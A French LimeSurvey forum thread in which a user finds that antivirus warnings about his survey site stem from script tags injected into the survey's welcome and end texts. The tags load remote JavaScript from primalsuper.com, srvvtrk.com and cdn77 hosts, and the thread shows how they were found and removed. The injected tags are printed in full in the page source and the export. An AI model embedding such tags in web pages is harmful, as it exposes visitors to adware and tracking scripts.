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Limesurvey et antivirus

  • francas
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1 year 4 weeks ago - 1 year 4 weeks ago #241810 by francas
Limesurvey et antivirus was created by francas
Version de votre LimeSurvey : LimeSurvey Community Edition - Version 5.3.32+220817
Votre propre serveur ou LimeSurvey Cloud : Instance auto-hébergée
Thème : Vanilia customisé
Extension : cpVille
==================

Bonjour à tous et à toutes.
Je travaille sur LimeSurvey depuis plusieurs années. Je rencontre un problème récurrent. Un certain nombre d'utilisateurs du site hébergeant notre instance de LimeSurvey nous remontent des difficultés d'accès. En effet, certains antivirus interdisent aux navigateurs d'accéder à LimeSurvey au motif que le site serait malveillant. D'autres ne rencontrent aucun soucis. J'ai tenté de multiples choses :
- Télécharger le contenu du site pour en faire une analyse par mon antivirus -> Aucun effet
- Supprimer contenu du FTP et de la base de données : install from scratch -> Aucun effet
- Changer de version lors d'une nouvelle install -> Aucun effet
- Demander à mon hébergeur de vérifier le certificat SLL -> Aucun effet
- Changer d'hébergement -> Aucun effet

Bref, je désespère un peu... J'ai un élément qui me questionne toutefois. Quand je lance mon questionnaire (pour répondre aux questions), je vois que le navigateur se connecte (ou tente de se connecter) à primalsuper.com et srvvtrk.com... En regardant les sites en question, je ne vois pas le lien avec Limesurvey !

 
 

En tentant un CTRL+U (pour obtenir le code source de mon site), une recherche me fait appraître les lignes suivantes :
Code:
div class=" survey-welcome  h4 text-primary" >
        <p><script async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="https://primalsuper.com/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1549376032372" type="text/javascript"></script><script src="https://primalsuper.com/addons/lnkr30_nt.min.js" type="text/javascript"></script><script async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script src="https://primalsuper.com/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1552312347157" type="text/javascript"></script><script src="https://primalsuper.com/addons/lnkr30_nt.min.js" type="text/javascript"></script></p>
</div>

Du coup, j'imagine que ces sites peuvent être à l'origine de mon problème. Comment en être sûr ? Comment éradiquer le problème ?

Je veux terminer ce post en remerciant l'ensemble des personnes qui se mobilisent pour la mise à disposition d'un tel outil mais aussi celles et ceux qui collaborent sur les forums (une mine !!). C'est un formidable travail d'accumulation de connaissances qui me fait avancer au quotidien. UN ÉNORME MERCI !
Last edit: 1 year 4 weeks ago by francas.

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1 year 4 weeks ago #241811 by DenisChenu
Replied by DenisChenu on topic Limesurvey et antivirus

 En effet, certains antivirus interdisent aux navigateurs d'accéder à LimeSurvey au motif que le site serait malveillant.
 
C'est lié au site en lui même, pas spécifque à limesurvey.

Selon ce que tu indique : j'aurais tendance à penser à du code malveillant injecté dans les modèles ou via un autre biais.
Mais si tu a réinstallé le système sur un autre hébergeur : cela ne pourrait venir que du questoinnaire ?

Fait un export txt et effectue une recherche si tu trouve ces sites ?
 

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  • francas
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1 year 4 weeks ago #241814 by francas
Replied by francas on topic Limesurvey et antivirus
Merci pour cette première intervention.
Pendant que tu me répondais (déjà !), j'éditais mon premier post pour insérer le code source du questionnaire lors de son chargement.
D'autre part, je viens d'aller vérifier l'export txt de mon questionnaire... et j'ai les mêmes lignes qui reviennent. Il me semble qu'elles sont liées au chargement de l'image d'accueil...
Code:
    SL        surveyls_welcometext        "<p><script async="""" src=""//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""https://primalsuper.com/addons/lnkr5.min.js"" type=""text/javascript""></script><script src=""https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1549376032372"" type=""text/javascript""></script><script src=""https://primalsuper.com/addons/lnkr30_nt.min.js"" type=""text/javascript""></script><script async="""" src=""//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""https://primalsuper.com/addons/lnkr5.min.js"" type=""text/javascript""></script><script src=""https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1552312347157"" type=""text/javascript""></script><script src=""https://primalsuper.com/addons/lnkr30_nt.min.js"" type=""text/javascript""></script></p>"        fr                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        
        SL        surveyls_endtext        "<p style=""text-align: center;""><img alt="""" src=""/upload/surveys/889681/images/logo%20Obs%20CLE-RVB.png"" style=""width: 500px; height: 167px; margin-top: 50px; margin-bottom: 50px;"" /></p><p style=""text-align: justify;""><script async="""" src=""//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""https://primalsuper.com/addons/lnkr5.min.js"" type=""text/javascript""></script><script src=""https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1549376032465"" type=""text/javascript""></script><script src=""https://primalsuper.com/addons/lnkr30_nt.min.js"" type=""text/javascript""></script><script async="""" src=""//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js""></script><script src=""https://primalsuper.com/addons/lnkr5.min.js"" type=""text/javascript""></script><script src=""https://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&amp;amp;r=1552312347223"" type=""text/javascript""></script><script src=""https://primalsuper.com/addons/lnkr30_nt.min.js"" type=""text/javascript""></script>Merci de votre contribution. Vous pouvez suivre et diffuser les informations concernant l'Observatoire grâce <a href=""http://centredeloisirseducatif.net/node/1917"">à la page internet qui lui est dédiée.</a> Bonne continuation.</p>"        fr               

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1 year 4 weeks ago #241815 by DenisChenu
Replied by DenisChenu on topic Limesurvey et antivirus
Tu as fait un copier/coller de quelquepart ?

En tous cas : tu peux tout virer.

Oui, c'est potentiellement le problème pour les antivirus.

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1 year 4 weeks ago #241816 by francas
Replied by francas on topic Limesurvey et antivirus
J'avoue mon incompétence. Je ne sais pas d'où viennent ces textes. Je ne les vois nulle part dans l'interface de LimeSurvey, notamment pas dans la rubriques "textes" de la configuration du questionnaire... Si tu peux m'éclairer ? (sachant que le questionnaire est actif).

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1 year 4 weeks ago #241818 by DenisChenu
Replied by DenisChenu on topic Limesurvey et antivirus
Tu dois éditer le code source des textes correspondant du questionnaire.
manual.limesurvey.org/Workarounds:_Manip...tc..29_in_LimeSurvey

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1 year 4 weeks ago #241819 by francas
Replied by francas on topic Limesurvey et antivirus
J'ai édité le texte d'accueil en demandant le code source. J'ai supprimé les lignes incriminées. Résultat, le questionnaire se charge plus rapidement... et je n'ai plus les informations de connexion à ces deux sites. Je vais demander à des personnes de me confirmer si elles parviennent à accéder à ce questionnaire.
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